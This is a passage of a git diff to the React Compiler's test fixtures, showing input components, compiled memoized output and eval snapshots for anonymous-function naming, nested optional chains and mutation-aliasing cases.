+import { c as _c } from "react/compiler-runtime"; // @enableNameAnonymousFunctions
+
+import { useCallback, useEffect } from "react";
+import { identity, Stringify, useIdentity } from "shared-runtime";
+import * as SharedRuntime from "shared-runtime";
+
+function Component(props) {
+  const $ = _c(31);
+  let t0;
+  if ($[0] !== props.named) {
+    t0 = function named() {
+      const inner = { "Component[named > inner]": () => props.named }[
+        "Component[named > inner]"
+      ];
+      const innerIdentity = identity(
+        { "Component[named > identity()]": () => props.named }[
+          "Component[named > identity()]"
+        ],
+      );
+      return inner(innerIdentity());
+    };
+    $[0] = props.named;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  const named = t0;
+
+  const callback = _ComponentCallback;
+  let t1;
+  if ($[2] !== props.namedVariable) {
+    t1 = {
+      "Component[namedVariable]": function () {
+        return props.namedVariable;
+      },
+    }["Component[namedVariable]"];
+    $[2] = props.namedVariable;
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  const namedVariable = t1;
+  let t2;
+  if ($[4] !== props.methodCall) {
+    t2 = { "Component[SharedRuntime.identity()]": () => props.methodCall }[
+      "Component[SharedRuntime.identity()]"
+    ];
+    $[4] = props.methodCall;
+    $[5] = t2;
+  } else {
+    t2 = $[5];
+  }
+  const methodCall = SharedRuntime.identity(t2);
+  let t3;
+  if ($[6] !== props.call) {
+    t3 = { "Component[identity()]": () => props.call }["Component[identity()]"];
+    $[6] = props.call;
+    $[7] = t3;
+  } else {
+    t3 = $[7];
+  }
+  const call = identity(t3);
+  let t4;
+  if ($[8] !== props.builtinElementAttr) {
+    t4 = (
+      <div
+        onClick={
+          { "Component[<div>.onClick]": () => props.builtinElementAttr }[
+            "Component[<div>.onClick]"
+          ]
+        }
+      />
+    );
+    $[8] = props.builtinElementAttr;
+    $[9] = t4;
+  } else {
+    t4 = $[9];
+  }
+  const builtinElementAttr = t4;
+  let t5;
+  if ($[10] !== props.namedElementAttr) {
+    t5 = (
+      <Stringify
+        onClick={
+          { "Component[<Stringify>.onClick]": () => props.namedElementAttr }[
+            "Component[<Stringify>.onClick]"
+          ]
+        }
+      />
+    );
+    $[10] = props.namedElementAttr;
+    $[11] = t5;
+  } else {
+    t5 = $[11];
+  }
+  const namedElementAttr = t5;
+  let t6;
+  if ($[12] !== props.hookArgument) {
+    t6 = { "Component[useIdentity()]": () => props.hookArgument }[
+      "Component[useIdentity()]"
+    ];
+    $[12] = props.hookArgument;
+    $[13] = t6;
+  } else {
+    t6 = $[13];
+  }
+  const hookArgument = useIdentity(t6);
+  let t7;
+  let t8;
+  if ($[14] !== props.useEffect) {
+    t7 = {
+      "Component[useEffect()]": () => {
+        console.log(props.useEffect);
+        JSON.stringify(
+          null,
+          null,
+          {
+            "Component[useEffect() > JSON.stringify()]": () => props.useEffect,
+          }["Component[useEffect() > JSON.stringify()]"],
+        );
+        const g = { "Component[useEffect() > g]": () => props.useEffect }[
+          "Component[useEffect() > g]"
+        ];
+        console.log(g());
+      },
+    }["Component[useEffect()]"];
+    t8 = [props.useEffect];
+    $[14] = props.useEffect;
+    $[15] = t7;
+    $[16] = t8;
+  } else {
+    t7 = $[15];
+    t8 = $[16];
+  }
+  useEffect(t7, t8);
+  let t9;
+  if ($[17] !== named) {
+    t9 = named();
+    $[17] = named;
+    $[18] = t9;
+  } else {
+    t9 = $[18];
+  }
+  const t10 = callback();
+  let t11;
+  if ($[19] !== namedVariable) {
+    t11 = namedVariable();
+    $[19] = namedVariable;
+    $[20] = t11;
+  } else {
+    t11 = $[20];
+  }
+  const t12 = methodCall();
+  const t13 = call();
+  let t14;
+  if ($[21] !== hookArgument) {
+    t14 = hookArgument();
+    $[21] = hookArgument;
+    $[22] = t14;
+  } else {
+    t14 = $[22];
+  }
+  let t15;
+  if (
+    $[23] !== builtinElementAttr ||
+    $[24] !== namedElementAttr ||
+    $[25] !== t11 ||
+    $[26] !== t12 ||
+    $[27] !== t13 ||
+    $[28] !== t14 ||
+    $[29] !== t9
+  ) {
+    t15 = (
+      <>
+        {t9}
+        {t10}
+        {t11}
+        {t12}
+        {t13}
+        {builtinElementAttr}
+        {namedElementAttr}
+        {t14}
+      </>
+    );
+    $[23] = builtinElementAttr;
+    $[24] = namedElementAttr;
+    $[25] = t11;
+    $[26] = t12;
+    $[27] = t13;
+    $[28] = t14;
+    $[29] = t9;
+    $[30] = t15;
+  } else {
+    t15 = $[30];
+  }
+  return t15;
+}
+function _ComponentCallback() {
+  return "ok";
+}
+
+export const TODO_FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [
+    {
+      named: "<named>",
+      namedVariable: "<namedVariable>",
+      methodCall: "<methodCall>",
+      call: "<call>",
+      builtinElementAttr: "<builtinElementAttr>",
+      namedElementAttr: "<namedElementAttr>",
+      hookArgument: "<hookArgument>",
+      useEffect: "<useEffect>",
+    },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/name-anonymous-functions.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/name-anonymous-functions.js
new file mode 100644
index 000000000000..963bee9ea6f7
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/name-anonymous-functions.js
@@ -0,0 +1,58 @@
+// @enableNameAnonymousFunctions
+
+import {useCallback, useEffect} from 'react';
+import {identity, Stringify, useIdentity} from 'shared-runtime';
+import * as SharedRuntime from 'shared-runtime';
+
+function Component(props) {
+  function named() {
+    const inner = () => props.named;
+    const innerIdentity = identity(() => props.named);
+    return inner(innerIdentity());
+  }
+  const callback = useCallback(() => {
+    return 'ok';
+  }, []);
+  const namedVariable = function () {
+    return props.namedVariable;
+  };
+  const methodCall = SharedRuntime.identity(() => props.methodCall);
+  const call = identity(() => props.call);
+  const builtinElementAttr = <div onClick={() => props.builtinElementAttr} />;
+  const namedElementAttr = <Stringify onClick={() => props.namedElementAttr} />;
+  const hookArgument = useIdentity(() => props.hookArgument);
+  useEffect(() => {
+    console.log(props.useEffect);
+    JSON.stringify(null, null, () => props.useEffect);
+    const g = () => props.useEffect;
+    console.log(g());
+  }, [props.useEffect]);
+  return (
+    <>
+      {named()}
+      {callback()}
+      {namedVariable()}
+      {methodCall()}
+      {call()}
+      {builtinElementAttr}
+      {namedElementAttr}
+      {hookArgument()}
+    </>
+  );
+}
+
+export const TODO_FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [
+    {
+      named: '<named>',
+      namedVariable: '<namedVariable>',
+      methodCall: '<methodCall>',
+      call: '<call>',
+      builtinElementAttr: '<builtinElementAttr>',
+      namedElementAttr: '<namedElementAttr>',
+      hookArgument: '<hookArgument>',
+      useEffect: '<useEffect>',
+    },
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-function-shadowed-identifiers.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-function-shadowed-identifiers.expect.md
index 2bf930588e1c..3c624de9ebe5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-function-shadowed-identifiers.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-function-shadowed-identifiers.expect.md
@@ -5,9 +5,9 @@
 function Component(props) {
   const [x, setX] = useState(null);
 
-  const onChange = (e) => {
+  const onChange = e => {
     let x = null; // intentionally shadow the original x
-    setX((currentX) => currentX + x); // intentionally refer to shadowed x
+    setX(currentX => currentX + x); // intentionally refer to shadowed x
   };
 
   return <input value={x} onChange={onChange} />;
@@ -15,8 +15,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -31,7 +31,7 @@ function Component(props) {
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     t0 = (e) => {
-      setX((currentX) => currentX + null);
+      setX(_temp);
     };
     $[0] = t0;
   } else {
@@ -48,6 +48,9 @@ function Component(props) {
   }
   return t1;
 }
+function _temp(currentX) {
+  return currentX + null;
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-function-shadowed-identifiers.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-function-shadowed-identifiers.js
index c80613598f1c..9f8385a82fe9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-function-shadowed-identifiers.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-function-shadowed-identifiers.js
@@ -1,9 +1,9 @@
 function Component(props) {
   const [x, setX] = useState(null);
 
-  const onChange = (e) => {
+  const onChange = e => {
     let x = null; // intentionally shadow the original x
-    setX((currentX) => currentX + x); // intentionally refer to shadowed x
+    setX(currentX => currentX + x); // intentionally refer to shadowed x
   };
 
   return <input value={x} onChange={onChange} />;
@@ -11,6 +11,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-function-with-param-as-captured-dep.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-function-with-param-as-captured-dep.expect.md
index 9b6b57f5b671..2ab19c3f2c53 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-function-with-param-as-captured-dep.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-function-with-param-as-captured-dep.expect.md
@@ -26,19 +26,18 @@ import { c as _c } from "react/compiler-runtime";
 function Foo() {
   const $ = _c(1);
   let t0;
-  let t1;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t1 = function a(t2) {
-      const x_0 = t2 === undefined ? () => {} : t2;
+    t0 = function a(t1) {
+      const x_0 = t1 === undefined ? _temp : t1;
       return x_0;
     };
-    $[0] = t1;
+    $[0] = t0;
   } else {
-    t1 = $[0];
+    t0 = $[0];
   }
-  t0 = t1;
   return t0;
 }
+function _temp() {}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Foo,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-optional-chains.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-optional-chains.expect.md
new file mode 100644
index 000000000000..92a24194a359
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-optional-chains.expect.md
@@ -0,0 +1,229 @@
+
+## Input
+
+```javascript
+import {identity} from 'shared-runtime';
+
+/**
+ * identity(...)?.toString() is the outer optional, and prop?.value is the inner
+ * one.
+ * Note that prop?.
+ */
+function useFoo({
+  prop1,
+  prop2,
+  prop3,
+  prop4,
+  prop5,
+  prop6,
+}: {
+  prop1: null | {value: number};
+  prop2: null | {inner: {value: number}};
+  prop3: null | {fn: (val: any) => NonNullable<object>};
+  prop4: null | {inner: {value: number}};
+  prop5: null | {fn: (val: any) => NonNullable<object>};
+  prop6: null | {inner: {value: number}};
+}) {
+  // prop1?.value should be hoisted as the dependency of x
+  const x = identity(prop1?.value)?.toString();
+
+  // prop2?.inner.value should be hoisted as the dependency of y
+  const y = identity(prop2?.inner.value)?.toString();
+
+  // prop3 and prop4?.inner should be hoisted as the dependency of z
+  const z = prop3?.fn(prop4?.inner.value).toString();
+
+  // prop5 and prop6?.inner should be hoisted as the dependency of zz
+  const zz = prop5?.fn(prop6?.inner.value)?.toString();
+  return [x, y, z, zz];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [
+    {
+      prop1: null,
+      prop2: null,
+      prop3: null,
+      prop4: null,
+      prop5: null,
+      prop6: null,
+    },
+  ],
+  sequentialRenders: [
+    {
+      prop1: null,
+      prop2: null,
+      prop3: null,
+      prop4: null,
+      prop5: null,
+      prop6: null,
+    },
+    {
+      prop1: {value: 2},
+      prop2: {inner: {value: 3}},
+      prop3: {fn: identity},
+      prop4: {inner: {value: 4}},
+      prop5: {fn: identity},
+      prop6: {inner: {value: 4}},
+    },
+    {
+      prop1: {value: 2},
+      prop2: {inner: {value: 3}},
+      prop3: {fn: identity},
+      prop4: {inner: {value: 4}},
+      prop5: {fn: identity},
+      prop6: {inner: {value: undefined}},
+    },
+    {
+      prop1: {value: 2},
+      prop2: {inner: {value: undefined}},
+      prop3: {fn: identity},
+      prop4: {inner: {value: undefined}},
+      prop5: {fn: identity},
+      prop6: {inner: {value: undefined}},
+    },
+    {
+      prop1: {value: 2},
+      prop2: {},
+      prop3: {fn: identity},
+      prop4: {},
+      prop5: {fn: identity},
+      prop6: {inner: {value: undefined}},
+    },
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { identity } from "shared-runtime";
+
+/**
+ * identity(...)?.toString() is the outer optional, and prop?.value is the inner
+ * one.
+ * Note that prop?.
+ */
+function useFoo(t0) {
+  const $ = _c(15);
+  const { prop1, prop2, prop3, prop4, prop5, prop6 } = t0;
+  let t1;
+  if ($[0] !== prop1?.value) {
+    t1 = identity(prop1?.value)?.toString();
+    $[0] = prop1?.value;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const x = t1;
+  let t2;
+  if ($[2] !== prop2?.inner.value) {
+    t2 = identity(prop2?.inner.value)?.toString();
+    $[2] = prop2?.inner.value;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  const y = t2;
+  let t3;
+  if ($[4] !== prop3 || $[5] !== prop4?.inner) {
+    t3 = prop3?.fn(prop4?.inner.value).toString();
+    $[4] = prop3;
+    $[5] = prop4?.inner;
+    $[6] = t3;
+  } else {
+    t3 = $[6];
+  }
+  const z = t3;
+  let t4;
+  if ($[7] !== prop5 || $[8] !== prop6?.inner) {
+    t4 = prop5?.fn(prop6?.inner.value)?.toString();
+    $[7] = prop5;
+    $[8] = prop6?.inner;
+    $[9] = t4;
+  } else {
+    t4 = $[9];
+  }
+  const zz = t4;
+  let t5;
+  if ($[10] !== x || $[11] !== y || $[12] !== z || $[13] !== zz) {
+    t5 = [x, y, z, zz];
+    $[10] = x;
+    $[11] = y;
+    $[12] = z;
+    $[13] = zz;
+    $[14] = t5;
+  } else {
+    t5 = $[14];
+  }
+  return t5;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [
+    {
+      prop1: null,
+      prop2: null,
+      prop3: null,
+      prop4: null,
+      prop5: null,
+      prop6: null,
+    },
+  ],
+
+  sequentialRenders: [
+    {
+      prop1: null,
+      prop2: null,
+      prop3: null,
+      prop4: null,
+      prop5: null,
+      prop6: null,
+    },
+    {
+      prop1: { value: 2 },
+      prop2: { inner: { value: 3 } },
+      prop3: { fn: identity },
+      prop4: { inner: { value: 4 } },
+      prop5: { fn: identity },
+      prop6: { inner: { value: 4 } },
+    },
+    {
+      prop1: { value: 2 },
+      prop2: { inner: { value: 3 } },
+      prop3: { fn: identity },
+      prop4: { inner: { value: 4 } },
+      prop5: { fn: identity },
+      prop6: { inner: { value: undefined } },
+    },
+    {
+      prop1: { value: 2 },
+      prop2: { inner: { value: undefined } },
+      prop3: { fn: identity },
+      prop4: { inner: { value: undefined } },
+      prop5: { fn: identity },
+      prop6: { inner: { value: undefined } },
+    },
+    {
+      prop1: { value: 2 },
+      prop2: {},
+      prop3: { fn: identity },
+      prop4: {},
+      prop5: { fn: identity },
+      prop6: { inner: { value: undefined } },
+    },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [null,null,null,null]
+["2","3","4","4"]
+["2","3","4",null]
+[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'toString') ]]
+[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'value') ]]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-optional-chains.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-optional-chains.ts
new file mode 100644
index 000000000000..d00cb4fee698
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-optional-chains.ts
@@ -0,0 +1,91 @@
+import {identity} from 'shared-runtime';
+
+/**
+ * identity(...)?.toString() is the outer optional, and prop?.value is the inner
+ * one.
+ * Note that prop?.
+ */
+function useFoo({
+  prop1,
+  prop2,
+  prop3,
+  prop4,
+  prop5,
+  prop6,
+}: {
+  prop1: null | {value: number};
+  prop2: null | {inner: {value: number}};
+  prop3: null | {fn: (val: any) => NonNullable<object>};
+  prop4: null | {inner: {value: number}};
+  prop5: null | {fn: (val: any) => NonNullable<object>};
+  prop6: null | {inner: {value: number}};
+}) {
+  // prop1?.value should be hoisted as the dependency of x
+  const x = identity(prop1?.value)?.toString();
+
+  // prop2?.inner.value should be hoisted as the dependency of y
+  const y = identity(prop2?.inner.value)?.toString();
+
+  // prop3 and prop4?.inner should be hoisted as the dependency of z
+  const z = prop3?.fn(prop4?.inner.value).toString();
+
+  // prop5 and prop6?.inner should be hoisted as the dependency of zz
+  const zz = prop5?.fn(prop6?.inner.value)?.toString();
+  return [x, y, z, zz];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [
+    {
+      prop1: null,
+      prop2: null,
+      prop3: null,
+      prop4: null,
+      prop5: null,
+      prop6: null,
+    },
+  ],
+  sequentialRenders: [
+    {
+      prop1: null,
+      prop2: null,
+      prop3: null,
+      prop4: null,
+      prop5: null,
+      prop6: null,
+    },
+    {
+      prop1: {value: 2},
+      prop2: {inner: {value: 3}},
+      prop3: {fn: identity},
+      prop4: {inner: {value: 4}},
+      prop5: {fn: identity},
+      prop6: {inner: {value: 4}},
+    },
+    {
+      prop1: {value: 2},
+      prop2: {inner: {value: 3}},
+      prop3: {fn: identity},
+      prop4: {inner: {value: 4}},
+      prop5: {fn: identity},
+      prop6: {inner: {value: undefined}},
+    },
+    {
+      prop1: {value: 2},
+      prop2: {inner: {value: undefined}},
+      prop3: {fn: identity},
+      prop4: {inner: {value: undefined}},
+      prop5: {fn: identity},
+      prop6: {inner: {value: undefined}},
+    },
+    {
+      prop1: {value: 2},
+      prop2: {},
+      prop3: {fn: identity},
+      prop4: {},
+      prop5: {fn: identity},
+      prop6: {inner: {value: undefined}},
+    },
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-scopes-begin-same-instr-valueblock.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-scopes-begin-same-instr-valueblock.expect.md
index b962759ef347..37d41b69f32c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-scopes-begin-same-instr-valueblock.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-scopes-begin-same-instr-valueblock.expect.md
@@ -2,10 +2,10 @@
 ## Input
 
 ```javascript
-import { identity, mutate } from "shared-runtime";
+import {identity, mutate} from 'shared-runtime';
 
-function Foo({ cond }) {
-  const x = identity(identity(cond)) ? { a: 2 } : { b: 2 };
+function Foo({cond}) {
+  const x = identity(identity(cond)) ? {a: 2} : {b: 2};
 
   mutate(x);
   return x;
@@ -13,13 +13,8 @@ function Foo({ cond }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Foo,
-  params: [{ cond: false }],
-  sequentialRenders: [
-    { cond: false },
-    { cond: false },
-    { cond: true },
-    { cond: true },
-  ],
+  params: [{cond: false}],
+  sequentialRenders: [{cond: false}, {cond: false}, {cond: true}, {cond: true}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-scopes-begin-same-instr-valueblock.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-scopes-begin-same-instr-valueblock.ts
index 11aabbc9f565..7f90511d05be 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-scopes-begin-same-instr-valueblock.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nested-scopes-begin-same-instr-valueblock.ts
@@ -1,7 +1,7 @@
-import { identity, mutate } from "shared-runtime";
+import {identity, mutate} from 'shared-runtime';
 
-function Foo({ cond }) {
-  const x = identity(identity(cond)) ? { a: 2 } : { b: 2 };
+function Foo({cond}) {
+  const x = identity(identity(cond)) ? {a: 2} : {b: 2};
 
   mutate(x);
   return x;
@@ -9,11 +9,6 @@ function Foo({ cond }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Foo,
-  params: [{ cond: false }],
-  sequentialRenders: [
-    { cond: false },
-    { cond: false },
-    { cond: true },
-    { cond: true },
-  ],
+  params: [{cond: false}],
+  sequentialRenders: [{cond: false}, {cond: false}, {cond: true}, {cond: true}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-does-not-mutate-class.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-does-not-mutate-class.expect.md
index 6d492ba1b7e8..1221ce01b939 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-does-not-mutate-class.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-does-not-mutate-class.expect.md
@@ -2,10 +2,10 @@
 ## Input
 
 ```javascript
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 class Foo {}
-function Component({ val }) {
+function Component({val}) {
   const MyClass = identity(Foo);
   const x = [val];
   const y = new MyClass();
@@ -15,7 +15,7 @@ function Component({ val }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ val: 0 }],
+  params: [{val: 0}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-does-not-mutate-class.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-does-not-mutate-class.ts
index 740f382786e4..a25040a28560 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-does-not-mutate-class.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-does-not-mutate-class.ts
@@ -1,7 +1,7 @@
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 class Foo {}
-function Component({ val }) {
+function Component({val}) {
   const MyClass = identity(Foo);
   const x = [val];
   const y = new MyClass();
@@ -11,5 +11,5 @@ function Component({ val }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ val: 0 }],
+  params: [{val: 0}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/aliased-nested-scope-truncated-dep.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/aliased-nested-scope-truncated-dep.expect.md
new file mode 100644
index 000000000000..64b08ebd4622
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/aliased-nested-scope-truncated-dep.expect.md
@@ -0,0 +1,212 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+import {
+  Stringify,
+  mutate,
+  identity,
+  shallowCopy,
+  setPropertyByKey,
+} from 'shared-runtime';
+
+/**
+ * This fixture is similar to `bug-aliased-capture-aliased-mutate` and
+ * `nonmutating-capture-in-unsplittable-memo-block`, but with a focus on
+ * dependency extraction.
+ *
+ * NOTE: this fixture is currently valid, but will break with optimizations:
+ * - Scope and mutable-range based reordering may move the array creation
+ *     *after* the `mutate(aliasedObj)` call. This is invalid if mutate
+ *     reassigns inner properties.
+ * - RecycleInto or other deeper-equality optimizations may produce invalid
+ *     output -- it may compare the array's contents / dependencies too early.
+ * - Runtime validation for immutable values will break if `mutate` does
+ *     interior mutation of the value captured into the array.
+ *
+ * Before scope block creation, HIR looks like this:
+ *  //
+ *  // $1 is unscoped as obj's mutable range will be
+ *  // extended in a later pass
+ *  //
+ *  $1    = LoadLocal obj@0[0:12]
+ *  $2    = PropertyLoad $1.id
+ *  //
+ *  // $3 gets assigned a scope as Array is an allocating
+ *  // instruction, but this does *not* get extended or
+ *  // merged into the later mutation site.
+ *  // (explained in `bug-aliased-capture-aliased-mutate`)
+ *  //
+ *  $3@1  = Array[$2]
+ *  ...
+ *  $10@0 = LoadLocal shallowCopy@0[0, 12]
+ *  $11   = LoadGlobal mutate
+ *  $12   = $11($10@0[0, 12])
+ *
+ * When filling in scope dependencies, we find that it's incorrect to depend on
+ * PropertyLoads from obj as it hasn't completed its mutable range. Following
+ * the immutable / mutable-new typing system, we check the identity of obj to
+ * detect whether it was newly created (and thus mutable) in this render pass.
+ *
+ * HIR with scopes looks like this.
+ * bb0:
+ *  $1    = LoadLocal obj@0[0:12]
+ *  $2    = PropertyLoad $1.id
+ *  scopeTerminal deps=[obj@0] block=bb1 fallt=bb2
+ * bb1:
+ *  $3@1  = Array[$2]
+ *  goto bb2
+ * bb2:
+ *  ...
+ *
+ * This is surprising as deps now is entirely decoupled from temporaries used
+ * by the block itself. scope @1's instructions now reference a value (1)
+ * produced outside its scope range and (2) not represented in its dependencies
+ *
+ * The right thing to do is to ensure that all Loads from a value get assigned
+ * the value's reactive scope. This also requires track mutating and aliasing
+ * separately from scope range. In this example, that would correctly merge
+ * the scopes of $3 with obj.
+ * Runtime validation and optimizations such as ReactiveGraph-based reordering
+ * require this as well.
+ *
+ * A tempting fix is to instead extend $3's ReactiveScope range up to include
+ * $2 (the PropertyLoad). This fixes dependency deduping but not reordering
+ * and mutability.
+ */
+function Component({prop}) {
+  let obj = shallowCopy(prop);
+  const aliasedObj = identity(obj);
+
+  // [obj.id] currently is assigned its own reactive scope
+  const id = [obj.id];
+
+  // Writing to the alias may reassign to previously captured references.
+  // The compiler currently produces valid output, but this breaks with
+  // reordering, recycleInto, and other potential optimizations.
+  mutate(aliasedObj);
+  setPropertyByKey(aliasedObj, 'id', prop.id + 1);
+
+  return <Stringify id={id} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{prop: {id: 1}}],
+  sequentialRenders: [{prop: {id: 1}}, {prop: {id: 1}}, {prop: {id: 2}}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel
+import {
+  Stringify,
+  mutate,
+  identity,
+  shallowCopy,
+  setPropertyByKey,
+} from "shared-runtime";
+
+/**
+ * This fixture is similar to `bug-aliased-capture-aliased-mutate` and
+ * `nonmutating-capture-in-unsplittable-memo-block`, but with a focus on
+ * dependency extraction.
+ *
+ * NOTE: this fixture is currently valid, but will break with optimizations:
+ * - Scope and mutable-range based reordering may move the array creation
+ *     *after* the `mutate(aliasedObj)` call. This is invalid if mutate
+ *     reassigns inner properties.
+ * - RecycleInto or other deeper-equality optimizations may produce invalid
+ *     output -- it may compare the array's contents / dependencies too early.
+ * - Runtime validation for immutable values will break if `mutate` does
+ *     interior mutation of the value captured into the array.
+ *
+ * Before scope block creation, HIR looks like this:
+ *  //
+ *  // $1 is unscoped as obj's mutable range will be
+ *  // extended in a later pass
+ *  //
+ *  $1    = LoadLocal obj@0[0:12]
+ *  $2    = PropertyLoad $1.id
+ *  //
+ *  // $3 gets assigned a scope as Array is an allocating
+ *  // instruction, but this does *not* get extended or
+ *  // merged into the later mutation site.
+ *  // (explained in `bug-aliased-capture-aliased-mutate`)
+ *  //
+ *  $3@1  = Array[$2]
+ *  ...
+ *  $10@0 = LoadLocal shallowCopy@0[0, 12]
+ *  $11   = LoadGlobal mutate
+ *  $12   = $11($10@0[0, 12])
+ *
+ * When filling in scope dependencies, we find that it's incorrect to depend on
+ * PropertyLoads from obj as it hasn't completed its mutable range. Following
+ * the immutable / mutable-new typing system, we check the identity of obj to
+ * detect whether it was newly created (and thus mutable) in this render pass.
+ *
+ * HIR with scopes looks like this.
+ * bb0:
+ *  $1    = LoadLocal obj@0[0:12]
+ *  $2    = PropertyLoad $1.id
+ *  scopeTerminal deps=[obj@0] block=bb1 fallt=bb2
+ * bb1:
+ *  $3@1  = Array[$2]
+ *  goto bb2
+ * bb2:
+ *  ...
+ *
+ * This is surprising as deps now is entirely decoupled from temporaries used
+ * by the block itself. scope @1's instructions now reference a value (1)
+ * produced outside its scope range and (2) not represented in its dependencies
+ *
+ * The right thing to do is to ensure that all Loads from a value get assigned
+ * the value's reactive scope. This also requires track mutating and aliasing
+ * separately from scope range. In this example, that would correctly merge
+ * the scopes of $3 with obj.
+ * Runtime validation and optimizations such as ReactiveGraph-based reordering
+ * require this as well.
+ *
+ * A tempting fix is to instead extend $3's ReactiveScope range up to include
+ * $2 (the PropertyLoad). This fixes dependency deduping but not reordering
+ * and mutability.
+ */
+function Component(t0) {
+  const $ = _c(2);
+  const { prop } = t0;
+  let t1;
+  if ($[0] !== prop) {
+    const obj = shallowCopy(prop);
+    const aliasedObj = identity(obj);
+    const id = [obj.id];
+    mutate(aliasedObj);
+    setPropertyByKey(aliasedObj, "id", prop.id + 1);
+    t1 = <Stringify id={id} />;
+    $[0] = prop;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
